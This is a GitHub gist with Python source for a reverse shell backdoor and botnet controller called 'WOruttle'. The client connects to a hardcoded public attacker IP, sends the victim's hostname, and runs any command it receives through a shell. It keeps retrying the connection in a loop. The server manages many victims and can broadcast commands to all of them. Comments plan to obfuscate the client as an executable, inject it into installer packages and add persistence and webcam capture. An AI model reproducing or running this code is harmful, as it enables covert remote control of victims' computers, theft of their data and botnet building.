Skip to content

Instantly share code, notes, and snippets.

@wildonion
Last active October 28, 2020 20:41
Show Gist options
  • Select an option

  • Save wildonion/6d9b7058fa4e8fd8ac0caa71eb5108a7 to your computer and use it in GitHub Desktop.

Select an option

Save wildonion/6d9b7058fa4e8fd8ac0caa71eb5108a7 to your computer and use it in GitHub Desktop.
WOruttle __ simple reverse shell backdoor using socket
# REF: https://msdn.microsoft.com/en-us/library/windows/desktop/aa384006(v=vs.85).aspx
# REF: https://www.youtube.com/watch?v=8GVumPe57o4
# REF: http://www.pyinstaller.org/
# WARNING: for schedule n_minutes get help from Python_Reverse_TCP folder codes
# TODO: convert client.py to base64 encdoe and exe file(using pyinstaller) -> above REF + pyherion.py file
# TODO: inject exe file into any installaion package -> above youtube REF
# TODO: schedule n_minutes in which forces victim to try to connect to attacker every n_minutes -> it's a meterpreter feature(persistence backdoor); alsoe see its REF
# TODO: use argparser or sys.argv[] to get the ip and port from commandline if you want to use it with ngrok
# TODO: test it with ngrok tcp protocol
#XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
# SIMPLE TCP REVERSE SHELL - CLIENT
#XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
import os
import socket
import subprocess
import time
import signal
import sys
import struct
class Client(object):
def __init__(self):
# self.serverHost = '192.168.8.100'
self.serverHost = '52.14.61.47' # ngrok public ip or attacker public ip
self.serverPort = # ngrok tcp port; forwarding port to your localhost or outgoing port opened by attacker
self.socket = None
def register_signal_handler(self):
signal.signal(signal.SIGINT, self.quit_gracefully)
signal.signal(signal.SIGTERM, self.quit_gracefully)
return
def quit_gracefully(self, signal=None, frame=None):
print('\nQuitting gracefully')
if self.socket:
try:
self.socket.shutdown(2)
self.socket.close()
except Exception as e:
print('[-] Could not close connection %s' % str(e))
# continue
sys.exit(0)
return
def socket_create(self):
""" Create a socket """
try:
self.socket = socket.socket()
except socket.error as e:
print("[-] Socket creation error" + str(e))
return
return
def socket_connect(self):
""" Connect to a remote socket """
try:
self.socket.connect((self.serverHost, self.serverPort))
except socket.error as e:
print("[-] Socket connection error: " + str(e))
time.sleep(5)
raise
try:
self.socket.send(str.encode(socket.gethostname()))
except socket.error as e:
print("[-] Cannot send hostname to server: " + str(e))
raise
return
def print_output(self, output_str):
""" Prints command output """
sent_message = str.encode(output_str + str(os.getcwd()) + '> ')
self.socket.send(struct.pack('>I', len(sent_message)) + sent_message)
print(output_str)
return
def receive_commands(self):
""" Receive commands from remote server and run on local machine """
try:
self.socket.recv(10)
except Exception as e:
print('[-] Could not start communication with server: %s\n' %str(e))
return
cwd = str.encode(str(os.getcwd()) + '> ')
self.socket.send(struct.pack('>I', len(cwd)) + cwd)
while True:
output_str = None
data = self.socket.recv(20480)
if data == b'': break
elif data[:2].decode("utf-8") == 'cd':
directory = data[3:].decode("utf-8")
try:
os.chdir(directory.strip())
except Exception as e:
output_str = "[-] Could not change directory: %s\n" %str(e)
else:
output_str = ""
elif data[:].decode("utf-8") == 'quit':
self.socket.close()
break
elif len(data) > 0:
try:
cmd = subprocess.Popen(data[:].decode("utf-8"), shell=True, stdout=subprocess.PIPE,
stderr=subprocess.PIPE, stdin=subprocess.PIPE)
output_bytes = cmd.stdout.read() + cmd.stderr.read()
output_str = output_bytes.decode("utf-8", errors="replace")
except Exception as e:
# TODO: Error description is lost
output_str = "[-] Command execution unsuccessful: %s\n" %str(e)
if output_str is not None:
try:
self.print_output(output_str)
except Exception as e:
print('[-] Cannot send command output: %s' %str(e))
self.socket.close()
return
def main():
client = Client()
client.register_signal_handler()
client.socket_create()
while True:
try:
client.socket_connect()
except Exception as e:
print("[-] Error on socket connections: %s" %str(e))
time.sleep(5)
else:
break
try:
client.receive_commands()
except Exception as e:
print('[-] Error in main: ' + str(e))
client.socket.close()
return
if __name__ == '__main__':
while True:
main()
# NOTE: you can use other listeners like msf or netcat instead of using this script
# REF: https://github.com/zakybstrd21215/pembelajaran-python-untuk-hacking/tree/master/src
# REF: https://github.com/zakybstrd21215/pembelajaran-python-untuk-hacking/blob/master/src/Downloading-Data-tcp-shell-client.py
# REF: https://github.com/zakybstrd21215/pembelajaran-python-untuk-hacking/blob/master/src/Downloading-Data-TCP-Shell-Server.py
# REF: https://msdn.microsoft.com/en-us/library/windows/desktop/aa384006(v=vs.85).aspx
# WARNING: for schedule n_minutes get help from Python_Reverse_TCP folder codes
# TODO: schedule n_minutes in which forces victim to try to connect to attacker every n_minutes -> it's a meterpreter feature(persistence backdoor); alsoe see its REF
# TODO: add all meterpreter features like downloading data, starting webcam -> see above github REF
# TODO: use argparser or sys.argv[] to get the ip and port from commandline if you want to use it with ngrok
# TODO: test it with ngrok tcp protocol
# NOTE: this project is a botnet
#XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
# SIMPLE TCP REVERSE SHELL - SERVER
#XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
import socket
import threading
import time
import sys
from queue import Queue
import struct
import signal
NUMBER_OF_THREADS = 2
JOB_NUMBER = [1, 2]
queue = Queue()
COMMANDS = {'help':['Shows this help'],
'sessions':['Lists connected targets'],
'use':['Selects a target by its index. Takes index as a parameter'],
'download':['Download a file from target server'],
'upload':['Upload a file into target server'],
'quit':['Stops current connection with a client. To be used when client is selected'],
'shutdown':['Shuts server down'],
}
class MultiServer(object):
def __init__(self):
self.host = '127.0.0.1' # localhost ip
self.port = 8234 # incomming port; listen to any connection from target
self.socket = None
self.all_connections = []
self.all_addresses = []
def botnet(self, comd):
target = 0
for vic in self.all_connections:
if vic is not None:
self.send_target_commands(target, vic, comd)
print("[*] M4s73ring Sl4v3 [ {0} ]").format(target)
target = target + 1
def print_help(self):
for cmd, v in COMMANDS.items():
print("{0}:\t{1}".format(cmd, v[0]))
return
def register_signal_handler(self):
signal.signal(signal.SIGINT, self.quit_gracefully)
signal.signal(signal.SIGTERM, self.quit_gracefully)
return
def quit_gracefully(self, signal=None, frame=None):
print('\n[+] Crying gracefully')
for conn in self.all_connections:
try:
conn.shutdown(2)
conn.close()
except Exception as e:
print('[-] Could not close connection %s' % str(e))
# continue
self.socket.close()
sys.exit(0)
def socket_create(self):
try:
self.socket = socket.socket()
except socket.error as msg:
print("[-] Socket creation error: " + str(msg))
# TODO: Added exit
sys.exit(1)
self.socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
return
def socket_bind(self):
""" Bind socket to port and wait for connection from client """
try:
self.socket.bind((self.host, self.port))
self.socket.listen(5)
except socket.error as e:
print("[-] Socket binding error: " + str(e))
time.sleep(5)
self.socket_bind()
return
def accept_connections(self):
""" Accept connections from multiple clients and save to list """
for c in self.all_connections:
c.close()
self.all_connections = []
self.all_addresses = []
while 1:
try:
conn, address = self.socket.accept()
conn.setblocking(1)
client_hostname = conn.recv(1024).decode("utf-8")
address = address + (client_hostname,)
except Exception as e:
print('[-] Error accepting connections: %s' % str(e))
# Loop indefinitely
continue
self.all_connections.append(conn)
self.all_addresses.append(address)
print('\n[+] Connection has been established: {0} (▀▀▀▀▀▀▀▀▀▀▀{1}:{2}▀▀▀▀▀▀▀▀▀▀▀)'.format(address[-1], address[0], address[1]))
return
def start_vocfu(self):
""" Interactive prompt for sending commands remotely """
while True:
cmd = input('vocfu> ')
if cmd == 'sessions':
self.list_connections()
continue
elif 'use' in cmd:
target, conn = self.get_target(cmd)
if conn is not None:
self.send_target_commands(target, conn)
elif cmd == 'shutdown':
queue.task_done()
queue.task_done()
print('[+] Server shutdown')
break
# self.quit_gracefully()
elif cmd == 'help':
self.print_help()
elif cmd == '':
pass
elif cmd == 'zbs':
print("[+] b07n37 c0mm4nD >> ")
comd = input()
self.botnet(comd)
else:
print('[!] Command not recognized')
return
def list_connections(self):
""" List all connections """
results = ''
for i, conn in enumerate(self.all_connections):
try:
conn.send(str.encode(' '))
conn.recv(20480)
except:
del self.all_connections[i]
del self.all_addresses[i]
continue
results += str(i) + ' ' + str(self.all_addresses[i][0]) + ' ' + str(
self.all_addresses[i][1]) + ' ' + str(self.all_addresses[i][2]) + '\n'
print('----- TARGETS -----' + '\n' + results)
return
def get_target(self, cmd):
""" Select target client
:param cmd:
"""
target = cmd.split(' ')[-1]
try:
target = int(target)
except:
print('[-] Client index should be an integer')
return None, None
try:
conn = self.all_connections[target] # now we can interact with this vic!
except IndexError:
print('[-] Not a valid selection')
return None, None
print("[+] You are now connected to " + str(self.all_addresses[target][2]))
return target, conn
def read_command_output(self, conn):
""" Read message length and unpack it into an integer
:param conn:
"""
raw_msglen = self.recvall(conn, 4)
if not raw_msglen:
return None
msglen = struct.unpack('>I', raw_msglen)[0]
# Read the message data
return self.recvall(conn, msglen)
def recvall(self, conn, n):
""" Helper function to recv n bytes or return None if EOF is hit
:param n:
:param conn:
"""
# TODO: this can be a static method
data = b''
while len(data) < n:
packet = conn.recv(n - len(data))
if not packet:
return None
data += packet
return data
def send_target_commands(self, target, conn, comd=None):
""" Connect with remote target client
:param conn:
:param target:
"""
try:
conn.send(str.encode(" "))
cwd_bytes = self.read_command_output(conn)
cwd = str(cwd_bytes, "utf-8")
print(cwd, end="")
except Exception as e:
print("[-] Broken pipe!")
pass
while True:
try:
if comd is not None:
cmd = comd
if comd == None:
cmd = input()
if len(str.encode(cmd)) > 0:
conn.send(str.encode(cmd))
cmd_output = self.read_command_output(conn)
client_response = str(cmd_output, "utf-8")
print(client_response, end="")
if cmd == 'quit':
break
except Exception as e:
print("[-] Connection was lost %s" %str(e))
break
del self.all_connections[target]
del self.all_addresses[target]
return
def create_workers():
""" Create worker threads (will die when main exits) """
server = MultiServer()
server.register_signal_handler()
for _ in range(NUMBER_OF_THREADS):
t = threading.Thread(target=work, args=(server,))
t.daemon = True
t.start()
return
def work(server):
""" Do the next job in the queue (thread for handling connections, another for sending commands)
:param server:
"""
while True:
x = queue.get()
if x == 1:
server.socket_create()
server.socket_bind()
server.accept_connections()
if x == 2:
server.start_vocfu()
queue.task_done()
return
def create_jobs():
""" Each list item is a new job """
for x in JOB_NUMBER:
queue.put(x)
queue.join()
return
def main():
create_workers()
create_jobs()
if __name__ == '__main__':
main()
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment